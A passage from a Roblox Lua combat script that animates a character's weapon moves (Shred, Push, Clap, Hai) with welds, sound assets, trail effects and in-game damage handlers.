3994 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3995 | end | |
3996 | if anim then | |
3997 | anim.Disabled=true | |
3998 | end | |
3999 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4000 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4001 | for i=0,1,0.05 do | |
4002 | swait() | |
4003 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4004 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4005 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4006 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4007 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4008 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4009 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4010 | end | |
4011 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4012 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4013 | for i=0,1,0.05 do | |
4014 | swait() | |
4015 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4016 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4017 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4018 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4019 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4020 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4021 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4022 | end | |
4023 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4024 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4025 | for i=0,1,0.05 do | |
4026 | swait() | |
4027 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4028 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4029 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4030 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4031 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4032 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4033 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4034 | end | |
4035 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4036 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4037 | for i=0,1,0.05 do | |
4038 | swait() | |
4039 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4040 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4041 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4042 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4043 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4044 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4045 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4046 | end | |
4047 | --dmgstop() | |
4048 | Humanoid.WalkSpeed=12 | |
4049 | attack=false | |
4050 | con1:disconnect() | |
4051 | con2:disconnect() | |
4052 | if anim then | |
4053 | anim.Disabled=false | |
4054 | end | |
4055 | if TrailDeb == true then | |
4056 | TrailDeb = false | |
4057 | end | |
4058 | end | |
4059 | ||
4060 | function Shred() | |
4061 | attack=true | |
4062 | mana=mana-100 | |
4063 | if TrailDeb == false then | |
4064 | TrailDeb = true | |
4065 | end | |
4066 | ||
4067 | ||
4068 | coroutine.wrap(function() | |
4069 | local Old = Handle2.CFrame.p | |
4070 | while wait()do | |
4071 | if not TrailDeb then break end | |
4072 | local New = Handle2.CFrame.p | |
4073 | local Mag =(Old -New).magnitude | |
4074 | local Dis =(Old +New)/2 | |
4075 | local Trail = Instance.new("Part",Character) | |
4076 | Trail.Material = "Neon" | |
4077 | Trail.Anchored = true | |
4078 | Trail.CanCollide = false | |
4079 | Trail.BrickColor = TorsoColor | |
4080 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4081 | Trail.TopSurface = 0 | |
4082 | Trail.BottomSurface = 0 | |
4083 | Trail.formFactor = "Custom" | |
4084 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4085 | local ms = Instance.new("BlockMesh",Trail) | |
4086 | ms.Scale = Vector3.new(1,1,1) | |
4087 | local TM = Instance.new("CylinderMesh",Trail) | |
4088 | TM.Scale = Vector3.new(1,1,1) | |
4089 | Old = New | |
4090 | coroutine.wrap(function() | |
4091 | for i = 1,0,-0.1 do | |
4092 | wait() | |
4093 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4094 | end | |
4095 | Trail:remove() | |
4096 | end)() | |
4097 | coroutine.wrap(function() | |
4098 | for i = 1,10 do | |
4099 | wait() | |
4100 | Trail.Transparency = Trail.Transparency +0.1 | |
4101 | end end)()end end)() | |
4102 | coroutine.wrap(function() | |
4103 | local Old = Handle.CFrame.p | |
4104 | while wait()do | |
4105 | if not TrailDeb then break end | |
4106 | local New = Handle.CFrame.p | |
4107 | local Mag =(Old -New).magnitude | |
4108 | local Dis =(Old +New)/2 | |
4109 | local Trail = Instance.new("Part",Character) | |
4110 | Trail.Material = "Neon" | |
4111 | Trail.Anchored = true | |
4112 | Trail.CanCollide = false | |
4113 | Trail.BrickColor = TorsoColor | |
4114 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4115 | Trail.TopSurface = 0 | |
4116 | Trail.BottomSurface = 0 | |
4117 | Trail.formFactor = "Custom" | |
4118 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4119 | local ms = Instance.new("BlockMesh",Trail) | |
4120 | ms.Scale = Vector3.new(1,1,1) | |
4121 | local TM = Instance.new("CylinderMesh",Trail) | |
4122 | TM.Scale = Vector3.new(1,1,1) | |
4123 | Old = New | |
4124 | coroutine.wrap(function() | |
4125 | for i = 1,0,-0.1 do | |
4126 | wait() | |
4127 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4128 | end | |
4129 | Trail:remove() | |
4130 | end)() | |
4131 | coroutine.wrap(function() | |
4132 | for i = 1,10 do | |
4133 | wait() | |
4134 | Trail.Transparency = Trail.Transparency +0.1 | |
4135 | end end)()end end)() | |
4136 | Footsteps:Stop() | |
4137 | Footsteps2:Stop() | |
4138 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4139 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4140 | so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) | |
4141 | for i=0,1,0.1 do | |
4142 | swait() | |
4143 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4144 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4145 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4146 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4147 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4148 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4149 | end | |
4150 | if anim then | |
4151 | anim.Disabled=true | |
4152 | end | |
4153 | for i=0,1,0.05 do | |
4154 | swait() | |
4155 | Torso.Velocity=RootPart.CFrame.lookVector*20 | |
4156 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4157 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4158 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) | |
4159 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4160 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4161 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4162 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4163 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4164 | end | |
4165 | for i=0,1,0.05 do | |
4166 | swait() | |
4167 | Torso.Velocity=RootPart.CFrame.lookVector*40 | |
4168 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4169 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4170 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) | |
4171 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4172 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4173 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4174 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4175 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4176 | end | |
4177 | for i=0,1,0.05 do | |
4178 | swait() | |
4179 | Torso.Velocity=RootPart.CFrame.lookVector*60 | |
4180 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4181 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4182 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) | |
4183 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4184 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4185 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4186 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4187 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4188 | end | |
4189 | so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) | |
4190 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4191 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4192 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4193 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4194 | for i=0,1,0.05 do | |
4195 | swait() | |
4196 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4197 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) | |
4198 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4199 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4200 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4201 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4202 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4203 | end | |
4204 | for i=0,1,0.005 do | |
4205 | swait() | |
4206 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4207 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) | |
4208 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4209 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4210 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4211 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4212 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4213 | end | |
4214 | --dmgstop() | |
4215 | Humanoid.WalkSpeed=12 | |
4216 | attack=false | |
4217 | con1:disconnect() | |
4218 | con2:disconnect() | |
4219 | if anim then | |
4220 | anim.Disabled=false | |
4221 | end | |
4222 | if TrailDeb == true then | |
4223 | TrailDeb = false | |
4224 | end | |
4225 | end | |
4226 | ||
4227 | function Push() | |
4228 | attack=true | |
4229 | mana=mana-20 | |
4230 | if TrailDeb == false then | |
4231 | TrailDeb = true | |
4232 | end | |
4233 | ||
4234 | ||
4235 | coroutine.wrap(function() | |
4236 | local Old = Handle2.CFrame.p | |
4237 | while wait()do | |
4238 | if not TrailDeb then break end | |
4239 | local New = Handle2.CFrame.p | |
4240 | local Mag =(Old -New).magnitude | |
4241 | local Dis =(Old +New)/2 | |
4242 | local Trail = Instance.new("Part",Character) | |
4243 | Trail.Material = "Neon" | |
4244 | Trail.Anchored = true | |
4245 | Trail.CanCollide = false | |
4246 | Trail.BrickColor = TorsoColor | |
4247 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4248 | Trail.TopSurface = 0 | |
4249 | Trail.BottomSurface = 0 | |
4250 | Trail.formFactor = "Custom" | |
4251 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4252 | local ms = Instance.new("BlockMesh",Trail) | |
4253 | ms.Scale = Vector3.new(1,1,1) | |
4254 | local TM = Instance.new("CylinderMesh",Trail) | |
4255 | TM.Scale = Vector3.new(1,1,1) | |
4256 | Old = New | |
4257 | coroutine.wrap(function() | |
4258 | for i = 1,0,-0.1 do | |
4259 | wait() | |
4260 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4261 | end | |
4262 | Trail:remove() | |
4263 | end)() | |
4264 | coroutine.wrap(function() | |
4265 | for i = 1,10 do | |
4266 | wait() | |
4267 | Trail.Transparency = Trail.Transparency +0.1 | |
4268 | end end)()end end)() | |
4269 | coroutine.wrap(function() | |
4270 | local Old = Handle.CFrame.p | |
4271 | while wait()do | |
4272 | if not TrailDeb then break end | |
4273 | local New = Handle.CFrame.p | |
4274 | local Mag =(Old -New).magnitude | |
4275 | local Dis =(Old +New)/2 | |
4276 | local Trail = Instance.new("Part",Character) | |
4277 | Trail.Material = "Neon" | |
4278 | Trail.Anchored = true | |
4279 | Trail.CanCollide = false | |
4280 | Trail.BrickColor = TorsoColor | |
4281 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4282 | Trail.TopSurface = 0 | |
4283 | Trail.BottomSurface = 0 | |
4284 | Trail.formFactor = "Custom" | |
4285 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4286 | local ms = Instance.new("BlockMesh",Trail) | |
4287 | ms.Scale = Vector3.new(1,1,1) | |
4288 | local TM = Instance.new("CylinderMesh",Trail) | |
4289 | TM.Scale = Vector3.new(1,1,1) | |
4290 | Old = New | |
4291 | coroutine.wrap(function() | |
4292 | for i = 1,0,-0.1 do | |
4293 | wait() | |
4294 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4295 | end | |
4296 | Trail:remove() | |
4297 | end)() | |
4298 | coroutine.wrap(function() | |
4299 | for i = 1,10 do | |
4300 | wait() | |
4301 | Trail.Transparency = Trail.Transparency +0.1 | |
4302 | end end)()end end)() | |
4303 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4304 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4305 | for i=0,1,0.1 do | |
4306 | swait() | |
4307 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4308 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4309 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4310 | Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4311 | Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4312 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4313 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4314 | end | |
4315 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4316 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4317 | so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) | |
4318 | for i=0,1,0.1 do | |
4319 | swait() | |
4320 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4321 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4322 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4323 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4324 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4325 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4326 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4327 | end | |
4328 | --dmgstop() | |
4329 | attack=false | |
4330 | con1:disconnect() | |
4331 | con2:disconnect() | |
4332 | if TrailDeb == true then | |
4333 | TrailDeb = false | |
4334 | end | |
4335 | end | |
4336 | ||
4337 | function Clap() | |
4338 | attack=true | |
4339 | mana=mana-20 | |
4340 | if TrailDeb == false then | |
4341 | TrailDeb = true | |
4342 | end | |
4343 | ||
4344 | ||
4345 | coroutine.wrap(function() | |
4346 | local Old = Handle2.CFrame.p | |
4347 | while wait()do | |
4348 | if not TrailDeb then break end | |
4349 | local New = Handle2.CFrame.p | |
4350 | local Mag =(Old -New).magnitude | |
4351 | local Dis =(Old +New)/2 | |
4352 | local Trail = Instance.new("Part",Character) | |
4353 | Trail.Material = "Neon" | |
4354 | Trail.Anchored = true | |
4355 | Trail.CanCollide = false | |
4356 | Trail.BrickColor = TorsoColor | |
4357 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4358 | Trail.TopSurface = 0 | |
4359 | Trail.BottomSurface = 0 | |
4360 | Trail.formFactor = "Custom" | |
4361 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4362 | local ms = Instance.new("BlockMesh",Trail) | |
4363 | ms.Scale = Vector3.new(1,1,1) | |
4364 | local TM = Instance.new("CylinderMesh",Trail) | |
4365 | TM.Scale = Vector3.new(1,1,1) | |
4366 | Old = New | |
4367 | coroutine.wrap(function() | |
4368 | for i = 1,0,-0.1 do | |
4369 | wait() | |
4370 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4371 | end | |
4372 | Trail:remove() | |
4373 | end)() | |
4374 | coroutine.wrap(function() | |
4375 | for i = 1,10 do | |
4376 | wait() | |
4377 | Trail.Transparency = Trail.Transparency +0.1 | |
4378 | end end)()end end)() | |
4379 | coroutine.wrap(function() | |
4380 | local Old = Handle.CFrame.p | |
4381 | while wait()do | |
4382 | if not TrailDeb then break end | |
4383 | local New = Handle.CFrame.p | |
4384 | local Mag =(Old -New).magnitude | |
4385 | local Dis =(Old +New)/2 | |
4386 | local Trail = Instance.new("Part",Character) | |
4387 | Trail.Material = "Neon" | |
4388 | Trail.Anchored = true | |
4389 | Trail.CanCollide = false | |
4390 | Trail.BrickColor = TorsoColor | |
4391 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4392 | Trail.TopSurface = 0 | |
4393 | Trail.BottomSurface = 0 | |
4394 | Trail.formFactor = "Custom" | |
4395 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4396 | local ms = Instance.new("BlockMesh",Trail) | |
4397 | ms.Scale = Vector3.new(1,1,1) | |
4398 | local TM = Instance.new("CylinderMesh",Trail) | |
4399 | TM.Scale = Vector3.new(1,1,1) | |
4400 | Old = New | |
4401 | coroutine.wrap(function() | |
4402 | for i = 1,0,-0.1 do | |
4403 | wait() | |
4404 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4405 | end | |
4406 | Trail:remove() | |
4407 | end)() | |
4408 | coroutine.wrap(function() | |
4409 | for i = 1,10 do | |
4410 | wait() | |
4411 | Trail.Transparency = Trail.Transparency +0.1 | |
4412 | end end)()end end)() | |
4413 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4414 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4415 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) | |
4416 | for i=0,1,0.08 do | |
4417 | swait() | |
4418 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4419 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4420 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4421 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) | |
4422 | Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) | |
4423 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
4424 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) | |
4425 | end | |
4426 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4427 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4428 | for i=0,1,0.08 do | |
4429 | swait() | |
4430 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4431 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4432 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4433 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) | |
4434 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) | |
4435 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
4436 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
4437 | end | |
4438 | --dmgstop() | |
4439 | attack=false | |
4440 | con1:disconnect() | |
4441 | con2:disconnect() | |
4442 | if TrailDeb == true then | |
4443 | TrailDeb = false | |
4444 | end | |
4445 | end | |
4446 | ||
4447 | function Hai() | |
4448 | attack=true | |
4449 | Humanoid.WalkSpeed=0 | |
4450 | so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) | |
4451 | for i=0,1,0.1 do | |
4452 | swait() | |
4453 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4454 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4455 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4456 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4457 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4458 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4459 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4460 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4461 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4462 | end | |
4463 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) | |
4464 | for i=0,1,0.1 do | |
4465 | swait() | |
4466 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4467 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4468 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4469 | Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) | |
4470 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4471 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4472 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4473 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
4474 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4475 | end | |
4476 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4477 | for i=0,1,0.1 do | |
4478 | swait() | |
4479 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4480 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
